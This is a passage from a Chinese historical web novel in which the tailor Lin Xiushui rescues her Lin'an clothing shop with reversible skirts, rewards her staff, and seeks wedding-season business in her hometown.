只是做工要比之前的麻烦很多,双面缝制的话,则得保证袖口处的误差很小很小,剪口要非常细致,两面不能有任何线头,在确保合身前,两层面料得是绝对服帖的。 价钱上涨,所耗费的精力更多,搭配的颜色要许许多多,不再单一。也有很明显的优势,在秋冬季节里,双面的料子做出来的衣裳,有沉甸甸的厚度,保暖性比一般夹上丝绵弱些,可比其他许多衣物要强。 两面料子的衣物不再轻飘飘的,很有分量,对于她们裁缝来说,一件过冬的衣物好不好,上手提在手里就知道。 没有浪费之前费心想的形制,和剩下的许多莲花粉布料,相反在这些形制里,做两面穿的背心、褙子、莲花裙,并没有那么困难。 一件衣裳两面都能穿,秋冬两季的衣物本来就贵,相当于多花一贯的银钱,买两件衣物,既别出心裁又划算。 她们可以说林秀水的决定失误,可根本没有办法否认的是,她做出来的衣裳就没有丑的。 大家原本抵触的心理,也渐渐变成,要不试一试吧?这个月还有半个月呢?过了这半个月要是还亏,反正林秀水自己也说,她会一力承担的。 此时林秀水也没有之前那么冒进了,她只要求大家再新做一款两面穿,不同材质的旋裙。 顾娘子走出来后问她,“你就真不怕,这一次也不如预期?” “怕死了,”林秀水实话实说。 她又笑,“怕就不走了?越想越多,迟迟不敢做决定,那么才是真的困在原地了。” 主要她能亏,就能赚,不然还不起这么多的银钱。 她还找了孙大,从她缝补之后,一直帮她在各处买卖东西,手套越卖越多。 这次她想让人家帮她在临安卖之前堆积的莲裙和各种衣物,她知道这对于在桑青镇里混的孙大来说,无疑是件很困难的事情。 可孙大却一口答应,“阿俏,你别说让我上临安,就算让我去平江府,明州那都不算个事。” “我从前混的连地方都靠租,租那种最差的屋子,一家老小住在那漏雨的棚屋。自从到你这接了买卖后,我总算能买得起一间像样的屋子,也有了些许银钱。” 孙大说:“我这次带上我娘子一道,我们两个保管给你把东西卖出去,就凭你信得过我。” 林秀水则笑道:“怎么信不过,我觉得孙大哥你可以。” 孙大是在林秀水认识的人里,最有口才和拼劲的一个,主要他脸皮相当厚。 林秀水跟他说了大概先往寺庙卖,人家两口子转头就跑临安寺庙去了。 其他两面不同色的衣裳也在缝制中,被送往临安,林秀水没有再过问,其实她的内心忐忑不安,找小春娥、桑英、金裁缝,连陈九川都喝过两 次酒。 新的一日,秋风萧瑟,她到裁缝作里,顾娘子一脸怔愣地看手里的信纸,边缘被她拽得发皱,看清是林秀水后,突然来了句,“你信不信你翻身了?” “我信,”林秀水毫不犹豫,她信她自己。 十月,靠两面穿的旋裙,林秀水在临安逆风翻盘了。 85-90 第86章 第 86 章 打不倒我的都会成就我…… 连夜送回来给顾娘子的信, 又传到林秀水手上,信纸上的字迹凌乱,她勉强辨认, 到底谁教张莲荷写的狂草。 能用一张纸写完的,愣是写了五六张,第一张纸上只写了几个大字, 赚了,赚了,赚了,赚好多钱了! 字都飞出去了。 林秀水长舒口气, 翻到下一张,她轻咳一声,嘀咕道:“咋什么都往上写啊。” 她赶紧叠起来, 用咳嗽掩饰自己的无奈,顾娘子没揭短,毕竟纸上写的她全记下了,什么林管事,你快回来吧,我们满池娇终于有出息了!…(边上打湿的地方不是口水,是钱塘江发大水了。) 原来是泪流成河, 林秀水捏着皱巴巴的纸, 低头笑出了声。 连写两张大字抒发跃然纸上的欣喜, 到第三张终于写清了来龙去脉。 九月, 临安下雨,十月,临安下大雨。 自打林秀水离开临安后,满池娇一百二十文一把的荷叶伞卖得挺好, 其他衣裳却很一般。 后十五日里,留在铺子里的五个人,每日都发愁到底该如何,直到新做出来的两面穿衣物送来。 这一次的衣物料子上好,是挂在一横条衣架上,外面套了两三层密密实实的油布送来的,确保从镇里运来一点褶皱都没有。 送衣物来的姚管事两只袖口都湿透了,她捋着被大风吹到扭打在一起的鬓发说:“林管事过不来,裁缝作里走不开,这些日子由我来照管,她说等抽出空就过来。” “这个月的月钱,”姚管事放下自己挎着的包袱,解开来时道,“林管事不仅没有少了你们的,另多了五百文的贴己,大家确实受累了。” 站着的五个人有些不知所措,以为要熬到铺子有起色了,才会发月钱。 姚管事将林秀水的嘱托以及交代的事带到,转而面色严肃地道:“这些衣裳是花了大价钱,从各处采买的时兴料子,挂的时候注意着些,有点沉手,里外两面都能穿的料子,别用指甲刮得勾丝了。” 几人闻言小心翼翼揭开上面的油布,第一个衣架挂的是三条旋裙。 张莲荷嘶了口气,第一眼看见的是一条乳白浅紫蝴蝶暗纹提花缎的旋裙,在天色暗沉时,料子也似浮着一层水润的光,垂落下来。 旋裙是两片式的,有两块的料子拼凑在一条裙头上,相互重叠的地方多,但缝合在一块的地方少。 她便瞧另一片,在乳白蝴蝶暗纹提花缎边上,是水红色团花莲纹,也是满池娇惯常用的纹样,一眼能分辨出来。 像是莲花还没绽开时,那种花瓣底部白,慢慢过渡,到尖上的一抹粉,是雨中新荷。 她看呆了,谷娘子用手肘怼怼她,“发怔了?”“我盘算着呢,”张莲荷唉声叹气,“我能不能买得起。” “单这一条七贯,你算算去吧,”姚管事从旁边经过,“你要是之后一个月,光喝雨水能顶饱的话,我支持你买。” “啊,娘耶,这么贵,”年纪最大的张娘子咂舌,她担忧极了,“我还以为要降些价钱卖,怎么卖得越发贵,到时候没人买,那不亏得更多。” 她说完,门口来了个穿银红色长褙子的女子,她提着一把粉绿色滴水的伞,站在外面说:“昨日借了把伞,我想买下来,多少一把?” 张莲荷赶紧走出来回:“娘子,是一百二十文。” 那女子是另一条巷子里,卖花环钗朵的,人称花四娘,花四娘将伞靠门边上,取出钱袋时朝里张望一眼,手里扯绳结嘴里问:“不卖那粉的了,这卖的是什么?” “是我们今日新到的旋裙,还没来得及摆上去呢,娘子你要不要瞧一瞧,”谷娘子迎出来,用流利的临安话说,“我们这次的裙子,里外两面都可以穿,且每种配色和料子只有一条,卖了就没有了。” 花四娘心里嗤一声,骗谁呢?上次她过来,满满当当的衣裙,颜色都不带变的,一水的红粉裙子。 简直是西湖边高头说大书——吹腮儿呢。 吹得一手好牛。 不过借了人家的伞,倒不好拂人家的面子,打定主意瞧一眼,就说自己不喜欢,转过脑袋就走,家里还忙着呢。 进了屋子,她看愣了,想打自己嘴巴子,什么不喜欢,她可太中意了。 刚才张莲荷看的那条乳白旋裙她喜欢,她自己又看新挂出来那条,两种颜色,梅子青跟桃夭,梅子青那一面在底下绣了一幅池塘小景,绿蜻蜓、花蝴蝶、小荷叶,长枝杆粉白花苞莲花。 她凑近看,荷叶纹用了织金刺绣,绿蜻蜓翅膀是独特的镂空,银白丝线掺着绿丝线绘绣而成,她看得眼睛发直,想从料子上挑毛病,一上手,很柔软顺滑,连褶子也没有。 “我先穿了上身瞧瞧,我人瘦,穿旋裙惯有的毛病,这做不好后腰处堆在一块,难看死了,”花四娘说的是真话,每次到成衣铺里去买旋裙,总买不到好的。 挂在墙上好看,平铺着也瞧着好看,一穿上身,什么鬼玩意,后背堆叠在一块,皱巴巴的,大步迈一圈,走出去碰上一股风,里面穿什么裤衩子都看得见。 谷娘子跟姚管事眉来眼去一番,谷娘子皱眉,意思是能不能行,姚管事抬眉,意思是少操心, 谷娘子便道:“娘子你只管试。” 这条旋裙有点沉手,两面料子,花四娘一上手掂量,心里满意得很,她按着旋裙从后往前穿,意外得很好穿。 而且跟普通的旋裙不一样,裙子做了收省,穿起来就相对贴合人的曲线,她腰有点大,肚子凸出,两胯并不细,穿有些旋裙就暴露无遗。 可这条却不同,修身却不会贴身,她低下头看,只觉得哪哪都笔直得很,尤其是后背处,最要紧的是,重叠处有相当多的布料,不省料,她即使步子迈得再大,都牢牢包裹住,不会走光。 没有挑出一星半点的毛病,且还是两面穿的,梅子青显得人很清透,桃夭色则水嫩,临安有句话叫作西湖景致六吊桥,间枝杨柳间枝桃,就如同这条裙子。 花四娘喜欢得紧,她问:“多少银钱?” 谷娘子一顿吹嘘,最后微笑道:“七贯银钱,这已经是最低的价钱了。” “什么,”花四娘倒抽口凉气,抄着正宗的临安话讲,“我们平头老百姓,那过的日子啊,是冷饭头儿茶泡泡,霉干菜儿过一吊,你一条裙子要价这么狠,你们诚心做生意的吗?” 谷娘子说了一通的话,花四娘不听,她小心将裙子放下,往外挪一步,“不便宜,我真走了啊。” 又往门边上挪了一小步,“我真走了啊。” 她都挪到门口了,见真不便宜,她满脑子想的是,也就七贯钱,两面穿,她每日都穿,一面三贯五钱,一年穿下来,相当于根本不要钱。 错过这一次,谁知道会不会有这么好的裙子了。 她一转身,从钱袋子里把所有碎银子全给掏出来,“买,你们把那条白色缎面的也给我留着先。” “老娘有点小钱。” 她当场穿上了,还发现原本不喜欢的莲花款合围裙,这次也有粉绿,粉白,蓝粉、粉紫、黄粉等颜色,不觉得颜色不好了,谁说这六百文便宜的啊,这价钱可太好了。 合围裙就该是配旋裙的。 旋裙在大雨天就该是骑驴的。 铺子里的人,眼睁睁看着花四娘外穿莲花粉的合围裙,内搭旋裙,抄起门边的荷叶伞,一手门口拴着的黑驴,利落翻身上驴背,撑开伞,大摇大摆骑驴走在大雨中。 路上行人见怪不怪,在临安没有马可以骑,最多的是骑驴,一头驴子十贯钱,寻常人家大多是租驴。 大雨天的,水道难走,水越深租驴的行当越火热,上朝当官的也得租驴走,这就叫水深火热。 姚管事望着花四娘离去的背影,喃喃自语道:“怪不得,林管事说希望临安的雨不要停。” “怪不得,”谷娘子恍然大悟,“我说怎么要做旋裙呢,本来旋裙做出来就是便于骑驴的。” 张莲荷紧紧闭上眼,呵呵呵干笑一声,“骑驴暴殄天物啊。” 可谁懂,临安的风气奇奇怪怪得很,便宜的衣裳嫌太便宜,贵的不嫌它贵,相反总能找出许多理由来。 “这驴裙,”门口进来的女子说,叫顺口了,她赶紧改口,“这旋裙吧,两面都可以穿,太好了,花四娘昨日说,穿你们家的旋裙骑驴真的好,又厚实,叉开不透风。” “给我也来一条试试。” 其实花四娘是这样说的,这旋裙好啊,喜欢的穿里面,不喜欢的颜色穿外头骑驴,不磨屁股,哪日要是实在不想穿了,就凭这做工,还能拆下来,改成其他衣裳,压根不亏。 主要还是两面穿,不同花色,撞不着款的保证,旋裙又日常好穿,厚度和料子,精绣的织工摆在那,放量够足,走起来没有紧的像裤子,配色像摇曳的荷花。 穿上它骑过一次驴的,就知道这条裙子到底有多好穿了,大雨天在外面晃荡,东家走西家停的,跟风的人不少。 有时候骑驴也是彰显身份的一种。 反正满池娇铺子里的人从来没有想过,旋裙在临安的兴起,是从骑驴好穿好看为起点的,临安衣物盛行的风向总是那么迷惑,先有士大夫集体疯癫穿白色凉衫为乐,后有花五六七八两重金,买条雨中骑驴的旋裙。 要是临安的风向能跟表木上安着那五两重的鸡毛,用来测风的测风仪一样准就好了。 大家百思不得其解,可雨下得越大,租驴的营生越火热,满池娇的旋裙卖得越好。 从一开始的门可罗雀,到雨天不用吆喝,铺子里也有二十来人,挤满了屋子,一条条试,但凡试了的,犹犹豫豫,走出去又回来都得买下来。 从前亏成那样,大家每日慌的不敢睁眼,眼下每日一睁眼就是钱进账,惊喜过后,更加慌了,也就拢共做了五十来条,裁缝作每五人三日做一条旋裙,根本来不及做啊。 不出五日,通通卖完了,卖完了。 谷娘子从没想过,还要赔着笑脸说:“没有了,当真没有了,这些料子你们也都瞧到了,每一块都是不同的,做工、绣样,我们光熨布就得熨一日,更别说两面穿的。” “你们行不行啊,有裙不卖王八蛋。” “啊,没有了?没有了你们再做做不就好了嘛。” 有娘子微笑着道:“你们肯定听过,清泰门外盐担儿,庆春门外粪担儿,艮山门外丝蓝儿这句话。” “再给你们现编一句,满池娇外没裙儿。” 也有算得很精的娘子,“没事,没了就没有了,你给我们按天便宜,一天便宜一百文咋个样?” “不怎么样。” 赚不了钱的时候,几个人演哑剧,赚得了钱的时候,几个人演杂剧。 不过等到开始数钱,姚管事先是看着成堆的银钱,数了一遍,又数了一遍,静默片刻道:“赚了。” “赚了多少?”几个脑袋一起凑上来。 “除去所有其他的钱,六天净赚七八十贯啊!”姚管事手都在抖,嘴皮子哆嗦,“赶紧的,再给林管事写信,告诉她,她真神了。” 大家围在一起又哭又笑,窗外大雨瓢泼,张莲荷哭着写下了飞舞的两个字,赚了! 简短两个字,却有着一个月的痛苦不堪,焦灼无奈,心慌麻木。 败也雨也,成也雨也。 这信一路送到裁缝作里,顾娘子先看到了,她也有满怀的喜悦,终于想起问林秀水,“你怎么想到的?” 她明白绝非简单的运气二字可概括。 林秀水靠在黑漆木桌上,抬头看窗外的雨,她轻声说:“看了好多日子的雨,看出来的。” 雨帮她分出了衣裳的受众人群。 在临安,富贵人家女子坐轿子,没钱的走路坐船,有些奁产和钱财的女子喜欢骑驴,不管晴雨,怪临安马贵,马稀少,不然这次林秀水会考虑做赶上裙。 她挑挑眉,“我这次莲裙卖得也很好。” “哦?”顾娘子绕过来看她。 “其实临安钱财不多的女子,最喜欢的不是走路,是求神问道,”林秀水看着手上的信,“临安的庙宇那么多,莲花是佛教八宝之一,大家逢山朝顶,见庙磕头,到处有香烧,穿件衣裳我说显得心更诚一点。” 她轻飘飘地说:“这一批积压的莲裙和其他衣物,我卖完了,总共百来两吧。” “准备下一批的吧,这次做红的,天竺香汛,十月灵隐香汛,腊月香市,不愁卖。” 她再也不想过被动的生活。 顾娘子盯着林秀水,林秀水这次没有喜形于色,她的笑容浅淡,惊和喜都像细雨落入宽阔的河流,激起点波澜,又很快平静。 这一次她清瘦了许多,十月的天,里外穿了三件衣裳,却不再像之前给人那样瘦弱的感觉,大概是神情,长开的眉眼,坚定的眼神。 大概只有她自己知道,度过了多少无眠的日夜,听了多少闲言碎语,打不死她的,终究会成就她。 林秀水知道顾娘子再想什么,她点点后面的小历说:“什么日子都可以翻页。” “翻过去的是旧历,我过的是新历。” 顾娘子沉默,她很难想象,这具瘦弱的身躯里,到底有多少无穷无尽的力量。 她想说点什么,也显得很逊色,便问:“接下来想做什么?” 林秀水回:“先做好手头能做好的。” 她出了门,脊背笔直,屋外仍旧是不曾停歇的雨,她看远处,不是见雨,是见青山,青山意气峥嵘。 许多人都知道了林秀水又打了很漂亮的翻身仗,尤其是之前从铺子里离开的人,肠子都悔青了,草率了。 用注视的目光看她,有人抱以崇敬,而有的人则期期艾艾想要回来,林秀水都没有搭理,回报给大家以背影。 满池娇的大家等着她报喜,林秀水说:“这段日子,我们满池娇的大家没有休工过一日,我都知道,我们都憋着一口气。” “像辛 娘子,每日来得最早,孩子没人看顾,带到这里来的,陈姐总是到最后一个走,小乔为了织金,每日到罗娘子那里讨教…” 她将每一个人所付出的,用朴实的话语,一一说出来,最后在大家热泪盈眶里,她说:“能够有今日,靠的是大家。” “不是我一个人。” “以后的安排,我晚点再说。” 大家目不转睛看她,许多时候,这些底下的眼睛里总是充斥着不服气,或者是埋怨,但今日,大家的眼里只有佩服两个字,林秀水像是一座大靠山。 林秀水被这种眼神看着,寒毛倒起,“好了,好了,你们等明日再这样看我吧。” “好,反正以后林管事你说什么,我们就照做什么,”年纪最大的肖管事立即回道,绝不让林秀水的话掉地上。 要知道,从前她可以说是最不服管的,毕竟年纪四十了,被个小她二十五的小丫头管着,脸往哪里搁。 在实力下,肖管事该倒戈就倒戈,她绝对拥护林秀水,其他人也纷纷相继表态,按照这样的势头下去,满池娇不愁没得赚。 而林秀水没辜负她们,一赚到大笔钱,立即给大家采买月补,这回添的其中两样是中色白米和好炭。 她到米行去,桑英笑嘻嘻地出来,拍拍自己沾满米灰的脑袋,“阿俏,快来坐。” “找你批条子呢,陈管事,”林秀水一本正经地道,“我要六十斗的中色白米。” 刚刚上任没有多久,从卖早米的小牙子,到手底下有两个人管,变成卖中色白米的,十分得意的陈桑英小管事,闻言先是挺直腰杆,而后惊讶得很,“买这么多?” “太好了,我还能再送你一升。” 她骄傲得很,“谁叫我是管事呢。” 其实就是从她自己的月俸里,匀出一升给林秀水。 “好的,陈管事,”林秀水跟在她身后,“以后可多劳烦你照顾了。” “好说好说,”桑英憋不住,哈哈大笑,她在这行待久了,眼力很好,打开袋子抖一抖,就知道米的成色,之前除了早米外,还一定逼着自己认晚米、冬舂、黄秆、黄灿米、箭子米、上色白米、中色白米等等。 是以这次就能升到银钱更多的白米行,靠认字和熟悉镇里的河流街道,才能以这么小的年纪,很快当上了小管事。 她挑着米,喊了句,“小顺子,你搬一下这两袋米。” 桑英勉强收住了笑跟林秀水小声说,“在这里会认字还不成,我以后要想当个名气很大的米牙子,还要会说各地乡谈呢。” “我要先学苏州话,中色白米从那地出来最多,”桑英手里绑着绳子,边说边很流利绕在麻袋上,口气很大,“我以后要学完苏湖淮广这几地的乡谈。” 林秀水在学临安话,一个头两个大,越说嘴巴像是借着还,一努嘴跑出二里地的,难受的时候就靠学这个逗自己高兴了。 还真佩服桑英如此远大的志向,她点点头道:“那晚些我帮你跟春大娘说,你去跟小三花学乡谈,她们小女童叫声象生社里,她的乡谈是最好的。” “真的啊,”桑英赶紧说,“我肯定跟她好好学。” 哪怕小三花才十二岁,但学东西并不论年纪大小,因为我们每个人会的东西不一样,能在自己这行有些本事,都可以跟着一道学。 买完了中色白米,桑英还要忙着调派白米往其他米铺的活,她喊:“阿俏,那一升米我给你带过去啊,你先回去吧。” 林秀水便先走了,等晚上小春娥来找她,自打跟小春娥喝了两次解闷酒后,不论多忙,哪怕油烛局到桑桥渡是完全两个相反的方向,她也总要划着船,提着东西过来看林秀水。 王月兰说小春娥真跟她亲姐妹一样。 “那当然,”林秀水捏了一把小荷的脸,“是吧,小荷。” 小荷愁死了,她正在写思珍布置的大字,她仰着脸,把笔扔下,任由林秀水捏,“捏死我吧,这样我就不用写了。” “想得美,”林秀水松开手。 小荷见没指望,又跟王月兰说:“娘,你打死我吧。” “滚蛋玩意,我以后就说打活你,”王月兰在杀鸭,林秀水从临安回来,她已经杀了两次鸡,一只鸭,眼下杀第二只。 “哦,那你先把鸭子打活吧,”小荷嘴巴很快。 王月兰生气道:“我真的要打你了!方小荷。” 小荷伸开手,一脸坦然,“打吧。” 进来的小春娥抱住她,“打什么呢,大宝,写累了我们就不写,以后跟我学烧炭吧,好不好呀宝。” “好呀好呀,”小荷点头如捣蒜,只要不写大字,让她满地捡垃圾她都很乐意。 林秀水嫌弃她,给小春娥拿椅子,小春娥盯着林秀水看了一会儿,“高兴了?” “生意肯定有进展。” “你怎么知道的,”林秀水狐疑,“你最近学算命去了?” 小春娥笑眯眯的,“那不是,你一高兴,你走路声音不一样,你今天特别高兴。” “对啊,你烧的哪里是炭呀,”林秀水拿了一叠柿饼出来,跟小春娥说了原委,小春娥笑得很开怀,都能看见她嗓子眼的那种。 林秀水也跟着她一块笑,而后说:“到你那买四十篓的炭,我可是知道的,你们最近有卖炭分成的。” “你消息真灵通,帐设司的张小四说的吧,我跟你说,这次还真进来一批不错的炭,烧起来烟味没有那么大,说是这次挖的石炭还不错,”小春娥吃着柿饼说,“你要分给大家的话,价钱少,东西还可以。” “你今年别买炭了啊,晚些我给你送点来,有我小春娥在,你还买炭像什么话。” 小春娥拍拍自己,小荷接嘴,“面子话。” “写你的字去。” 林秀水跟小春娥嘀嘀咕咕说了好久,手舞足蹈,有说有笑的。 到了转日下晌,林秀水发了月补,满池娇的大家欢天喜地,总算有了点赚钱的实感,中色白米和炭都是好东西,单买不便宜,更何况是白得的。 她给金裁缝和阿云也带了同样一份,阿云在裁缝铺里吃的脸都圆润了,她很吃惊地瞪大眼睛,“给我的?” 炭哎,石炭啊,白米啊,这么多好东西,给她的吗? 金裁缝一眼看出来,“你这个小林东家,指定发大财了,你赶紧收着吧。” 阿云谢天谢地,林秀水拍拍她的肩膀,“忙去吧。” 林秀水跟金裁缝说:“确实,我自此洗心革面,以后只赚大钱。” “这话你敢说,菩萨都不敢听,”金裁缝瞥了她一眼,她知道林秀水走出来了。 这一个月,金裁缝把裁缝铺打理得很好。 水记全衣在镇里,跟满池娇在临安,一样有了名气。 林秀水看着成堆的单子,啧啧两声,“我准备大干两场。” 金裁缝眼前一黑,她说:“你年轻,但你别把我累死。” “不会,我们又不是媒婆,我们是裁缝。” 明年没有立春,立春在今年年底,下一个立春到后年正月,此谓无春年。无春年又称寡年,寡年无春,不宜成婚。大家赶着年底成婚,媒婆当真是到处奔走,给每个人搭桥牵线,而林秀水只想赚这笔钱。 陈九川从门口收了伞进来后,一听这话便道:“什么媒婆?” “你听话只听前半句,不听后半句的?”林秀水真的有点纳闷。 “我挺听话的。” 林秀水无言,确诊了。 第87章 第 87 章 冬天里都有活干 金裁缝看不惯陈九川的嘚瑟样。 她人老成精, 不掺和年轻人的事,她绝对绝对不会干捅破窗户纸的事,她只喜欢城隍山上看火烧, 隔岸观火。 陈九川脸皮厚,老话重提,“什么媒婆?” “三姑六婆里的媒婆, ”林秀水没好气地回,“桑树口住西边,那打头大雕花木门里的李媒婆。” 林秀水说完,露出并不走心的笑容, 从胯间的石绿色包里,摸出几张请柬来,“既然你诚心问了, 不如你替我去赴宴吧。” 陈九川看她手里,白色封皮,贴着一道红的帖子,他瞟一眼红纸上写的林秀水三字,犹豫道:“这不大合适吧?” “咋不合适,你带足银钱,五百文不嫌少, 一贯不嫌多。” 林秀水恨不得转手全送给他, 在桑树口人缘太好, 好多人家上门给她送请柬, 二十三张啊,全是定亲或成婚的帖子,多半是这种白贴红底的,表明在自家宴客, 还有夹杂几张假馆不恭几字的,则是在酒楼里吃。 对她来说真可怕,吃一顿喜宴给至少两百文到五百文不等,林秀水得花三四贯,她穷得很,出馊主意就是转手外包给别人。 金裁缝点点请柬上头的大名,“他改名叫林秀水了?” 陈九川兀自点头,林秀水苦恼地回:“哎,也不是不成啊。” 话到此,林秀水收拢一叠请帖,她挥挥手,“不去了,我改名姓谢了。” 因为不去的话,要在请帖上写一个谢字。 “真不叫我去了?”陈九川大步走出来问。 林秀水先出了门,她侧过脸打量他,“你叫思来?” 只有思来想去。 “到时候别人问我,你是我的谁?我只好回,”林秀水拖长音,“是熟人。” 陈九川要气死了,混来混去,混成熟人。 全桑树口都是林秀水的熟人,总共分为早熟、中熟、晚熟,他是什么熟?催熟? “你要成熟,”林秀水逗他。 陈九川不言语,林秀水捏着一封自制的请帖,塞在他怀里,“诺,请你来吃饭,不要钱,只给你一个人的。” 地点,林秀水家。 他面无波澜地收下,语气却上扬问:“真的只是熟人?” “不止,你还是个好人。” “好了,你别说了。” 光是看见陈九川那生无可恋的脸,他顶着这张脸说去换衣裳,林秀水笑得肚子疼,她走到了桑树口,缝补廊棚里坐着编竹席的黄阿婆喊她,“阿俏,快来,我家小孙子大后日定亲,你要过来吃饭啊。” 她扭转自己的脚步,一转头,老多人热情招呼她,林秀水头一次想跑,找她做生意可以,找她吃喜宴,搞人情世故往来,她不大可以。 缝补廊棚生意不错,天冷了,有好些人来修家里的破旧席子、旧被面、火盆,各种家具,最多的是找老算命算八字,算合不合的,算个好日子。 还没走进,就听老算命生气地说:“什么叫跟你不合,哪有不合,不合你就去买点香料,加点蜂蜡做成合香,你就看香合不合!” 林秀水就看一对夫妻红着脸走了,下一对又递上纸头给老算命瞧。 “阿俏,自打你不来缝补,当真好没见了,”一个扎红腰巾的大娘拉过她,忙哀怨道。 林秀水先是看她一眼,而后拆穿道:“大红姐,不是我说,前两天我们才刚见过吧,你拿着夏天里那两件剪了袖子的衣裳,过来铺子里让我给你接上,我给你缝了两只大红袖子,你给忘了?” “你懂的,”大红姐说,“一日不见,如隔三秋。” “我懂的,你就想看热闹了,”林秀水很了解她们,她搓搓自己的冰凉的手,“实在是这天冷啊。” 大家早已看穿她,张大娘说:“天热你说天太热,天冷你说天太冷,你是小丫头骗子吗?” 着重强调骗子两个字。 林秀水才憋住的笑,又忍不住笑出眼泪,“毕竟宜春宜秋,不宜冬夏。” 大家跟她一阵笑,其实说是好久没见,可在场的那么多人,没少照顾林秀水铺子里的生意,有好几个家里亲戚多的,不让去别人家,就说水记好。 林秀水赶紧又道:“好了好了,知道大家想我了,明日过来,黄阿婆,还有那张婶,李姐,我席是真不去吃了,随礼肯定到。” “你席都不来吃,怎么能要你的礼啊,”黄阿婆不满意,其他给了请帖的人也不满意,怎么能不来呢?林秀水可是桑树口头号人物,比当官的名气要大。 毕竟她们不认识镇长叫什么,但知道针使得最厉害的叫什么。 林秀水受不住一窝“疯”的围攻,苦笑着一一点头,等到她终于起身回去,还追过来一个头发潦草、胡子拉碴的大哥,是街边卖茶饼的小贩,茶老三。 茶老三偷偷摸摸地往后瞧,见后面没人,前面巷子里走来两个小娘子,也是去陈桂花家的,他才松了口气,把一件新衣递过来,压低声音跟林秀水说:“阿俏,你帮我个忙。” 林秀水看陈桂花家冒出来的滚滚热气,心里琢磨,也压低声音道:“什么忙?” 茶老三扭扭捏捏,不好意思开口,又碍于人时常走来,心一横,实话实说:“你给我把这新衣,改成打补丁的破烂衣裳。” “我实在是没招了啊,这明年无春年,跟要打仗一样,每家每户成婚,如同派出兵马来,又一遍遍征收我的粮草,”茶老三没辙了,他伸出两根手指,“我上个月吃了二十家的,还有各种包随礼的,花了我五贯银钱,我真的亏死了。” “穿件破衣,谁来找我要钱,我都哭穷。” 林秀水一听,忍不住想给他鼓掌,怪不得前面脑袋秃了,原来是聪明绝顶。 她拎起这件衣裳,怪沉的,加了不少丝绵吧,茶老三理直气壮地说:“那钱总不能都花别人身上,得对自个儿好点吧。” “阿俏,我可信你了,你给我做旧做破做得像样点。” 林秀水抖抖新衣,她不会把桑树口的生意往外推,便道:“给个五十文,裤子也能改。” “你先改,我家里还有不少件,”茶老三长松了口气,这无春年还没来,先把人折腾个半死。 她拿着蓝布衣裳回去,王月兰在穿上个月林秀水给她做的银红夹袄,看林秀水进来说:“后街那在三口茶馆里做茶博士的,他家小儿子成婚,我随了两百文,明日你跟我一块去,吃回本来。” “一个个的,简直瞎折腾。” 林秀水想得开,“迟早全给挣回来。” “姨母,我去找李媒婆。” 王月兰吃惊,她差点把手里的碗掼在地上,“怎么,你想不开了?” “我觉得吧,这件事情还早,不要急, ”王月兰思想转变得相当快,早前林秀水刚到镇里,她担心林秀水没有奁产,被人瞧不起。 到眼下林秀水自己挣出了家业,有了自己的本事,王月兰谁都看不起。 林秀水含糊道:“还没影的事情,我找李媒婆谈生意呢。” 她往外走,走过两座桥,到西边的大院子前,敲了敲门,屋里走出来一个穿红着绿,戴红色抹额的大娘,此人正是李媒婆。 “咦,真稀奇,”李媒婆刚回来,她有些吃惊,“你还要找我做媒?” 林秀水把果篮给她说:“李婶啊,我们能不能想得宽阔点,什么做不做媒的,不如做生意。”“什么生意,你跟我抢生意?”李媒婆推拒果篮,“那也行,我跟你说啊,今年别看我们生意好得很,人来人往,满街乱蹿,糟心事多着哩。” 李媒婆引林秀水进去,两个人交情处得不错,她有什么话直说:“当真稀奇得很,六十岁老头还想找个年轻娘子,想人家最好有百贯奁产,良田十亩,我说叫他照照去,先把头上白毛拔了再说,老不死的。” “还有家里没钱要充大方的,先从质库里押了大半身家,准备娶了亲再打人家那奁产的主意,给赎回来,我给人家通了气,成个屁,一家子寡到后年去吧。” 林秀水光听着都觉得脑瓜子疼,在她眼里,有三个行当难做,媒婆、稳婆、牙婆。 李媒婆喝了口茶,说了一大堆,终于解气了才道:“你想做什么生意?” 林秀水说得很直白,“是这样的,今年成婚的人这么多,到处红妆,我肯定也想赚这笔银钱,有没有想做嫁衣、红盖头、帐幔的,我们可以商量钱数怎么分。” “那你怕是要失望了,富贵人家自会请人做嫁衣,没有银钱的,不说做不起嫁衣,也舍不得那点钱,”李媒婆想想道,“不过你要是做红盖头,或是帐幔的话,还真有点路子,你等我给你问问。” 林秀水先谢过李媒婆,也不心急,急的话什么钱也不赚不到,她出来后,转日到她隔壁的王家租铺里谈生意。 这家租铺什么都租,花轿、金银酒器、椅桌陈设等等,还出租嫁衣。 开铺子的是对夫妻,王娘子管铺子,王官人带着人送货,林秀水进屋先看嫁衣,绣样不多,除了领边夹杂其他颜色外,几乎全是红的,很寡淡。 王娘子认识林秀水,一见她进门,放下手里的账册从旁边走过来,远远便笑道:“林小娘子,我这卖得肯定不如你铺子里的好,我们租铺里都是租出去的便宜东西。” “你别看这嫁衣朴实,没有多少好料子,租租才九十文到两百文不等,就 成一次亲,红布料子还贵,做一身不合算。” 林秀水非常深切地认同,这也是她没贸贸然一股脑就说做嫁衣,毕竟认真做下来,一套八贯肯定少不了,生意不会好做。 “王娘子你所言极是,那你们还要不要嫁衣?”林秀水摸了摸那粗糙的嫁衣,很坦诚表明自己的来意,大家说话不兴弯弯绕绕。 王娘子问,“多少钱一套,我看看划不划得来。” 林秀水放下手里的衣裳直说:“今年红布料子一匹是两到六贯,我们就按三贯来算,一套八贯到十二贯是少不了的。” “太贵了,我租多久才能回本,就算我能把价钱抬得很高,大家租不起,小娘子跟你说实话,这就是亏本的买卖,”王娘子拒绝了,“我也知道你手艺好,可真做不起。” 王娘子又赶紧道:“我们两家挨得近,关系好,我们还可以商量别的。” “你看,我们这缺酒衣,套那酒上的红绿销金酒衣,或是用罗帛贴花,还有那放纸的红绿书袋,这你们肯定能做,要价在一贯内,这笔生意就能做。” 林秀水一口答应,“能做,娘子我们晚些好好商量。” 宋朝成婚穿着为红女绿男,女子穿的是红色大袖衣,红长裙,而平民男子即使没有官位,也可以按摄胜的制度,成婚当日穿九品官服,绿袍,着罗花幞头,手拿槐简。 没做成嫁衣生意,只做了个简单的营生往来,林秀水也不急,她自从临安一事后,行事相对来说稳妥许多。 至少她知道,单纯做嫁衣来说,对她的铺子而言会亏本。 “所以想了什么路子出来?”金裁缝坐在椅背上,用厚布盖着腿,旁边放个小炉子,天一冷她腿骨缝里头疼。 林秀水给她添炭,“镇里跟临安差得太多,那边一条裙子七八贯说买就买,我们这里的话,一整套哪怕价格压到十贯,对大家来说也是不小的负担。” “衣裳是给人穿的,不能叫人太为难。” 林秀水将手放在炉子上烤了烤,她仔细思虑过后说:“还是得做双面穿的。” 金裁缝问她,“怎么说?” 